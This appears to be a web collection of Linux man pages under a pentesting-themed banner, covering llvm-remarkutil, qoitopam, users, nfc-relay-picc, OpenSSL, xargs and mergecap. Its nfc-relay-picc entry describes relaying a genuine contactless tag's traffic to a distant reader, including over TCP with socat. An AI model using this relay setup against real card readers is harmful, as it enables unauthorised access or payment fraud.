NAME 🖥️ llvm-remarkutil-16 🖥️

remarkutil - Remark utility

SYNOPSIS

llvm-remarkutil [subcommmand] [options]

DESCRIPTION

Utility for displaying information from, and converting between different remark formats.

SUBCOMMANDS

  • bitstream2yaml - Reserialize bitstream remarks to YAML.

  • yaml2bitstream - Reserialize YAML remarks to bitstream.

  • instruction-count - Output function instruction counts.

bitstream2yaml

USAGE: llvm-remarkutil bitstream2yaml <input file> -o <output file>

Summary

Takes a bitstream remark file as input, and reserializes that file as YAML.

yaml2bitstream

USAGE: llvm-remarkutil yaml2bitstream <input file> -o <output file>

Summary

Takes a YAML remark file as input, and reserializes that file in the bitstream format.

instruction-count

USAGE: llvm-remarkutil instruction-count <input file> –parser=<bitstream|yaml> -o <output file>

Summary

Outputs instruction count remarks for every function. Instruction count remarks encode the number of instructions in a function at assembly printing time.

Instruction count remarks require asm-printer remarks.

CSV format is as follows:

::
Function,InstructionCount foo,123

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1309 - Linux cli command qoitopam

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command qoitopam and provides detailed information about the command qoitopam, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the qoitopam.

.

NAME 🖥️ qoitopam 🖥️

Convert QOI format (Quite OK Image format) to Netpbm.

SYNOPSIS

qoitopam [pnmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one. You may separate an option name and its value with white space instead of an equals sign.

DESCRIPTION

This program is part of Netpbm(1) .

qoitopam reads a QOI image from standard input and converts it to a Netpbm image written to standard output.

For the QOI specification and details, see the QOI web site .

Use pamtoqoi(1) to convert a Netpbm image to QOI format.

Input is from Standard Input if you don’t specify the input file pnmfile.

OPTIONS

The only options are those common to all programs based on libnetpbm (most notably -quiet, see Common Options ).

SEE ALSO

pamtoqoi(1) , pam(1)

HISTORY

pamtoqoi was new in Netpbm 10.99 (June 2022).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/qoitopam.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1310 - Linux cli command users

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command users and provides detailed information about the command users, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the users.

NAME 🖥️ users 🖥️

print the user names of users currently logged in to the current host

SYNOPSIS

users [OPTION]… [FILE]

DESCRIPTION

Output who is currently logged in according to FILE. If FILE is not specified, use /var/run/utmp. /var/log/wtmp as FILE is common.

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Joseph Arceneaux and David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

getent(1), who(1)

Full documentation <https://www.gnu.org/software/coreutils/users>
or available locally via: info ‘(coreutils) users invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1311 - Linux cli command nfc-relay-picc

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nfc-relay-picc and provides detailed information about the command nfc-relay-picc, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nfc-relay-picc.

NAME 🖥️ nfc-relay-picc 🖥️

relay-picc - Relay demonstration tool for ISO14443-4

SYNOPSIS

nfc-relay-picc

DESCRIPTION

nfc-relay-picc

This tool requires two NFC devices. One device (configured as target) will emulate an ISO/IEC 14443-4 type A tag, while the second device (configured as initiator) will act as a reader. The genuine tag can be placed on the second device (initiator) and the tag emulator (target) can be placed close to the original reader. All communication is now relayed and shown in the screen on real-time.

tag <—> initiator (relay) <—> target (relay) <—> original reader

OPTIONS

-h Help List options

-q Quiet mode Suppress printing of relayed data (improves timing)

-t Target mode only (to be used on reader side) Commands are sent to file descriptor 4 Responses are read from file descriptor 3

-i Initiator mode only (to be used on tag side) Commands are read from file descriptor 3 Responses are sent to file descriptor 4

-s Swap roles of found devices Usually the first found device is used as target (emulator) and the second as initiator (reader). Using this option these roles are inversed.

-n N Adds a waiting time of N seconds (integer) in the loop

EXAMPLES

Basic usage:

nfc-relay-picc

Remote relay over TCP/IP:

socat TCP-LISTEN:port,reuseaddr “EXEC:nfc-relay-picc -i,fdin=3,fdout=4” socat TCP:remotehost:port “EXEC:nfc-relay-picc -t,fdin=3,fdout=4”

NOTES

There are some differences with nfc-relay:

This example only works with PN532 because it relies on its internal handling of ISO14443-4 specificities.

Thanks to this internal handling & injection of WTX frames, this example works on readers very strict on timing.

BUGS

Please report any bugs on the libnfc issue tracker at:
https://github.com/nfc-tools/libnfc/issues

LICENCE

libnfc is licensed under the GNU Lesser General Public License (LGPL), version 3.
libnfc-utils and libnfc-examples are covered by the the BSD 2-Clause license.

This manual page is licensed under the terms of the GNU GPL (version 2 or later).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1312 - Linux cli command rsautlssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rsautlssl and provides detailed information about the command rsautlssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rsautlssl.

NAME 🖥️ rsautlssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1313 - Linux cli command xargs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xargs and provides detailed information about the command xargs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xargs.

NAME 🖥️ xargs 🖥️

build and execute command lines from standard input

SYNOPSIS

xargs

[options] [command [initial-arguments]]

DESCRIPTION

This manual page documents the GNU version of xargs. xargs reads items from the standard input, delimited by blanks (which can be protected with double or single quotes or a backslash) or newlines, and executes the command (default is echo) one or more times with any initial-arguments followed by items read from standard input. Blank lines on the standard input are ignored.

The command line for command is built up until it reaches a system-defined limit (unless the -n and -L options are used). The specified command will be invoked as many times as necessary to use up the list of input items. In general, there will be many fewer invocations of command than there were items in the input. This will normally have significant performance benefits. Some commands can usefully be executed in parallel too; see the -P option.

Because Unix filenames can contain blanks and newlines, this default behaviour is often problematic; filenames containing blanks and/or newlines are incorrectly processed by xargs. In these situations it is better to use the -0 option, which prevents such problems. When using this option you will need to ensure that the program which produces the input for xargs also uses a null character as a separator. If that program is GNU find for example, the -print0 option does this for you.

If any invocation of the command exits with a status of 255, xargs will stop immediately without reading any further input. An error message is issued on stderr when this happens.

OPTIONS

-0, –null
Input items are terminated by a null character instead of by whitespace, and the quotes and backslash are not special (every character is taken literally). Disables the end-of-file string, which is treated like any other argument. Useful when input items might contain white space, quote marks, or backslashes. The GNU find -print0 option produces input suitable for this mode.

**-a file, –arg-file=**file
Read items from file instead of standard input. If you use this option, stdin remains unchanged when commands are run. Otherwise, stdin is redirected from /dev/null.

–delimiter=delim, -d* delim*
Input items are terminated by the specified character. The specified delimiter may be a single character, a C-style character escape such as ** **, or an octal or hexadecimal escape code. Octal and hexadecimal escape codes are understood as for the printf command. Multibyte characters are not supported. When processing the input, quotes and backslash are not special; every character in the input is taken literally. The -d option disables any end-of-file string, which is treated like any other argument. You can use this option when the input consists of simply newline-separated items, although it is almost always better to design your program to use –null where this is possible.

-E* eof-str*
Set the end-of-file string to eof-str. If the end-of-file string occurs as a line of input, the rest of the input is ignored. If neither -E nor -e is used, no end-of-file string is used.

-e[eof-str], –eof[=eof-str]
This option is a synonym for the -E option. Use -E instead, because it is POSIX compliant while this option is not. If eof-str is omitted, there is no end-of-file string. If neither -E nor -e is used, no end-of-file string is used.

-I* replace-str*
Replace occurrences of replace-str in the initial-arguments with names read from standard input. Also, unquoted blanks do not terminate input items; instead the separator is the newline character. Implies -x and -L 1.

-i[replace-str], –replace[=replace-str]
This option is a synonym for -Ireplace-str if replace-str is specified. If the replace-str argument is missing, the effect is the same as -I{}. The -i option is deprecated; use -I instead.

-L* max-lines*
Use at most max-lines nonblank input lines per command line. Trailing blanks cause an input line to be logically continued on the next input line. Implies -x.

-l[max-lines], –max-lines[=max-lines]
Synonym for the -L option. Unlike -L, the max-lines argument is optional. If max-lines is not specified, it defaults to one. The -l option is deprecated since the POSIX standard specifies -L instead.

-n* max-args, –max-args=max-args*
Use at most max-args arguments per command line. Fewer than max-args arguments will be used if the size (see the -s option) is exceeded, unless the -x option is given, in which case xargs will exit.

-P* max-procs, –max-procs=max-procs*
Run up to max-procs processes at a time; the default is 1. If max-procs is 0, xargs will run as many processes as possible at a time. Use the -n option or the -L option with -P; otherwise chances are that only one exec will be done. While xargs is running, you can send its process a SIGUSR1 signal to increase the number of commands to run simultaneously, or a SIGUSR2 to decrease the number. You cannot increase it above an implementation-defined limit (which is shown with –show-limits). You cannot decrease it below 1. xargs never terminates its commands; when asked to decrease, it merely waits for more than one existing command to terminate before starting another. xargs always waits for all child processes to exit before exiting itself (but see BUGS).

If you do not use the -P option, xargs will not handle the SIGUSR1 and SIGUSR2 signals, meaning that they will terminate the program (unless they were blocked in the parent process before xargs was started).

Please note that it is up to the called processes to properly manage parallel access to shared resources. For example, if more than one of them tries to print to stdout, the output will be produced in an indeterminate order (and very likely mixed up) unless the processes collaborate in some way to prevent this. Using some kind of locking scheme is one way to prevent such problems. In general, using a locking scheme will help ensure correct output but reduce performance. If you don’t want to tolerate the performance difference, simply arrange for each process to produce a separate output file (or otherwise use separate resources).

-o, –open-tty
Reopen stdin as /dev/tty in the child process before executing the command. This is useful if you want xargs to run an interactive application.

-p, –interactive
Prompt the user about whether to run each command line and read a line from the terminal. Only run the command line if the response starts with `y’ or `Y’. Implies -t.

–process-slot-var=name
Set the environment variable name to a unique value in each running child process. Values are reused once child processes exit. This can be used in a rudimentary load distribution scheme, for example.

-r, –no-run-if-empty
If the standard input does not contain any nonblanks, do not run the command. Normally, the command is run once even if there is no input. This option is a GNU extension.

-s* max-chars, –max-chars=max-chars*
Use at most max-chars characters per command line, including the command and initial-arguments and the terminating nulls at the ends of the argument strings. The largest allowed value is system-dependent, and is calculated as the argument length limit for exec, less the size of your environment, less 2048 bytes of headroom. If this value is more than 128 KiB, 128 KiB is used as the default value; otherwise, the default value is the maximum. 1 KiB is 1024 bytes. xargs automatically adapts to tighter constraints.

–show-limits
Display the limits on the command-line length which are imposed by the operating system, xargs’ choice of buffer size and the -s option. Pipe the input from /dev/null (and perhaps specify –no-run-if-empty) if you don’t want xargs to do anything.

-t, –verbose
Print the command line on the standard error output before executing it.

-x, –exit
Exit if the size (see the -s option) is exceeded.


Delimit the option list. Later arguments, if any, are treated as operands even if they begin with -. For example, xargs – –help runs the command –help (found in PATH) instead of printing the usage text, and xargs – –mycommand runs the command –mycommand instead of rejecting this as unrecognized option.

–help
Print a summary of the options to xargs and exit.

–version
Print the version number of xargs and exit.

The options –max-lines (-L, -l), –replace (-I, -i) and –max-args (-n) are mutually exclusive. If some of them are specified at the same time, then xargs will generally use the option specified last on the command line, i.e., it will reset the value of the offending option (given before) to its default value. Additionally, xargs will issue a warning diagnostic on stderr. The exception to this rule is that the special max-args value 1 (’-n1’) is ignored after the –replace option and its aliases -I and -i, because it would not actually conflict.

EXAMPLES

find /tmp -name core -type f -print | xargs /bin/rm -f

Find files named core in or below the directory /tmp and delete them. Note that this will work incorrectly if there are any filenames containing newlines or spaces.

find /tmp -name core -type f -print0 | xargs -0 /bin/rm -f

Find files named core in or below the directory /tmp and delete them, processing filenames in such a way that file or directory names containing spaces or newlines are correctly handled.

find /tmp -depth -name core -type f -delete

Find files named core in or below the directory /tmp and delete them, but more efficiently than in the previous example (because we avoid the need to use fork(2) and exec(2) to launch rm and we don’t need the extra xargs process).

cut -d: -f1 < /etc/passwd | sort | xargs echo

Generates a compact listing of all the users on the system.

EXIT STATUS

xargs exits with the following status:

  1. if it succeeds

  2. if any invocation of the command exited with status 1–125

  3. if the command exited with status 255

  4. if the command is killed by a signal

  5. if the command cannot be run

  6. if the command is not found

  7. if some other error occurred.

Exit codes greater than 128 are used by the shell to indicate that a program died due to a fatal signal.

STANDARDS CONFORMANCE

As of GNU xargs version 4.2.9, the default behaviour of xargs is not to have a logical end-of-file marker. POSIX (IEEE Std 1003.1, 2004 Edition) allows this.

The -l and -i options appear in the 1997 version of the POSIX standard, but do not appear in the 2004 version of the standard. Therefore you should use -L and -I instead, respectively.

The -o option is an extension to the POSIX standard for better compatibility with BSD.

The POSIX standard allows implementations to have a limit on the size of arguments to the exec functions. This limit could be as low as 4096 bytes including the size of the environment. For scripts to be portable, they must not rely on a larger value. However, I know of no implementation whose actual limit is that small. The –show-limits option can be used to discover the actual limits in force on the current system.

In versions of xargs up to and including version 4.9.0, SIGUSR1 and SIGUSR2 would not cause xargs to terminate even if the -P option was not used.

HISTORY

The xargs program was invented by Herb Gellis at Bell Labs. See the Texinfo manual for findutils, Finding Files, for more information.

BUGS

It is not possible for xargs to be used securely, since there will always be a time gap between the production of the list of input files and their use in the commands that xargs issues. If other users have access to the system, they can manipulate the filesystem during this time window to force the action of the commands xargs runs to apply to files that you didn’t intend. For a more detailed discussion of this and related problems, please refer to the ``Security Considerations’’ chapter in the findutils Texinfo documentation. The -execdir option of find can often be used as a more secure alternative.

When you use the -I option, each line read from the input is buffered internally. This means that there is an upper limit on the length of input line that xargs will accept when used with the -I option. To work around this limitation, you can use the -s option to increase the amount of buffer space that xargs uses, and you can also use an extra invocation of xargs to ensure that very long lines do not occur. For example:

somecommand | xargs -s 50000 echo | xargs -I ‘{}’ -s 100000 rm ‘{}’

Here, the first invocation of xargs has no input line length limit because it doesn’t use the -i option. The second invocation of xargs does have such a limit, but we have ensured that it never encounters a line which is longer than it can handle. This is not an ideal solution. Instead, the -i option should not impose a line length limit, which is why this discussion appears in the BUGS section. The problem doesn’t occur with the output of find(1) because it emits just one filename per line.

In versions of xargs up to and including version 4.9.0, xargs -P would exit while some of its children were still running, if one of them exited with status 255.

REPORTING BUGS

GNU findutils online help: <https://www.gnu.org/software/findutils/#get-help>
Report any translation bugs to <https://translationproject.org/team/>

Report any other issue via the form at the GNU Savannah bug tracker:

<https://savannah.gnu.org/bugs/?group=findutils>

General topics about the GNU findutils package are discussed at the bug-findutils mailing list:

<https://lists.gnu.org/mailman/listinfo/bug-findutils>

COPYRIGHT

Copyright © 1990–2024 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

find(1), kill(1), locate(1), updatedb(1), fork(2), execvp(3), locatedb(5), signal(7)

Full documentation <https://www.gnu.org/software/findutils/xargs>
or available locally via: info xargs

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1314 - Linux cli command mergecap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mergecap and provides detailed information about the command mergecap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mergecap.

NAME 🖥️ mergecap 🖥️

Merges two or more capture files into one

SYNOPSIS

mergecap-a ] [ -F <file format> ] [ -I <IDB merge mode> ] [ -s <snaplen> ] [ -V ] -w <outfile>|- <infile> [<infile]

mergecap -h|–help

mergecap -v|–version

DESCRIPTION

Mergecap is a program that combines multiple saved capture files into a single output file specified by the -w argument. Mergecap knows how to read pcap and pcapng capture files, including those of tcpdump, Wireshark and other tools that write captures in those formats.

By default, Mergecap writes the capture file in pcapng format, and writes all of the packets from the input capture files to the output file.

Mergecap is able to detect, read and write the same capture files that are supported by Wireshark. The input files don’t need a specific filename extension; the file format and an optional gzip, zstd or lz4 compression will be automatically detected. Near the beginning of the DESCRIPTION section of wireshark(1) or <https://www.wireshark.org/docs/man-pages/wireshark.html> is a detailed description of the way Wireshark handles this, which is the same way Mergecap handles this.

Mergecap can write the file in several output formats. The -F flag can be used to specify the format in which to write the capture file, mergecap -F provides a list of the available output formats.

Packets from the input files are merged in chronological order based on each frame’s timestamp, unless the -a flag is specified. Mergecap assumes that frames within a single capture file are already stored in chronological order. When the -a flag is specified, packets are copied directly from each input file to the output file, independent of each frame’s timestamp.

The output file frame encapsulation type is set to the type of the input files if all input files have the same type. If not all of the input files have the same frame encapsulation type, the output file type is set to WTAP_ENCAP_PER_PACKET. Note that some capture file formats, most notably pcap, do not currently support WTAP_ENCAP_PER_PACKET. This combination will cause the output file creation to fail.

OPTIONS

-a

Causes the frame timestamps to be ignored, writing all packets from the first input file followed by all packets from the second input file. By default, when -a is not specified, the contents of the input files are merged in chronological order based on each frame’s timestamp.

Note: when merging, mergecap assumes that packets within a capture file are already in chronological order.

-F <file format>

Sets the file format of the output capture file. Mergecap can write the file in several formats; mergecap -F provides a list of the available output formats. By default this is the pcapng format.

-h|–help

Print the version number and options and exit.

-I <IDB merge mode>

Sets the Interface Description Block (IDB) merge mode to use during merging. mergecap -I provides a list of the available IDB merge modes.

Every input file has one or more IDBs, which describe the interface(s) the capture was performed on originally. This includes encapsulation type, interface name, etc. When mergecap merges multiple input files, it has to merge these IDBs somehow for the new merged output file. This flag controls how that is accomplished. The currently available modes are:

none: No merging of IDBs is performed, and instead all IDBs are copied to the merged output file.

all: IDBs are merged only if all input files have the same number of IDBs, and each IDB matches their respective entry in the other files. (Only the IDBs that occur at the beginning of the files, before any packet blocks, are compared. IDBs that occur later in the files are merged with duplicates iff the initial IDBs were merged.) This is the default mode.

any: Any and all duplicate IDBs are merged into one IDB, regardless of what file they are in.

Note that an IDB is only considered a matching duplicate if it has the same encapsulation type, name, speed, time precision, comments, description, etc.

-s <snaplen>

Sets the snapshot length to use when writing the data. If the -s flag is used to specify a snapshot length, frames in the input file with more captured data than the specified snapshot length will have only the amount of data specified by the snapshot length written to the output file. This may be useful if the program that is to read the output file cannot handle packets larger than a certain size (for example, the versions of snoop in Solaris 2.5.1 and Solaris 2.6 appear to reject Ethernet frames larger than the standard Ethernet MTU, making them incapable of handling gigabit Ethernet captures if jumbo frames were used).

-v|–version

Print the full version information and exit.

-V

Causes mergecap to print a number of messages while it’s working.

-w <outfile>|-

Sets the output filename. If the name is -, stdout will be used. This setting is mandatory.

DIAGNOSTIC OPTIONS

–log-level <level>

Set the active log level. Supported levels in lowest to highest order are “noisy”, “debug”, “info”, “message”, “warning”, “critical”, and “error”. Messages at each level and higher will be printed, for example “warning” prints “warning”, “critical”, and “error” messages and “noisy” prints all messages. Levels are case insensitive.

–log-fatal <level>

Abort the program if any messages are logged at the specified level or higher. For example, “warning” aborts on any “warning”, “critical”, or “error” messages.

–log-domains <list>

Only print messages for the specified log domains, e.g. “GUI,Epan,sshdump”. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-debug <list>

Force the specified domains to log at the “debug” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-noisy <list>

Force the specified domains to log at the “noisy” level. List of domains must be comma-separated. Can be negated with “!” as the first character (inverts the match).

–log-fatal-domains <list>

Abort the program if any messages are logged for the specified log domains. List of domains must be comma-separated.

–log-file <path>

Write log messages and stderr output to the specified file.

EXAMPLES

To merge two capture files together into a third capture file, in which the last packet of one file arrives 100 seconds before the first packet of another file, use the following sequence of commands.

First, use:

capinfos -aeS a.pcap b.pcap

to determine the start and end times of the two capture files, as seconds since January 1, 1970, 00:00:00 UTC.

If a.pcap starts at 1009932757 and b.pcap ends at 873660281, then the time adjustment to b.pcap that would make it end 100 seconds before a.pcap begins would be 1009932757 - 873660281 - 100 = 136272376 seconds.

Thus, the next step would be to use:

editcap -t 136272376 b.pcap b-shifted.pcap

to generate a version of b.pcap with its time stamps shifted 136272376 ahead.

Then the final step would be to use :

mergecap -w compare.pcap a.pcap b-shifted.pcap

to merge a.pcap and the shifted b.pcap into compare.pcap.

SEE ALSO

pcap(3), wireshark(1), tshark(1), dumpcap(1), editcap(1), text2pcap(1), pcap-filter(7) or tcpdump(8)

NOTES

Mergecap is based heavily upon editcap by Richard Sharpe <sharpe[AT]ns.aus.com> and Guy Harris <guy[AT]alum.mit.edu>.

This is the manual page for Mergecap 4.2.5. Mergecap is part of the Wireshark distribution. The latest version of Wireshark can be found at <https://www.wireshark.org>.

HTML versions of the Wireshark project man pages are available at <https://www.wireshark.org/docs/man-pages>.

AUTHORS

Original Author
Scott Renfro <scott[AT]renfro.org>

Contributors
Bill Guyton <guyton[AT]bguyton.com>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

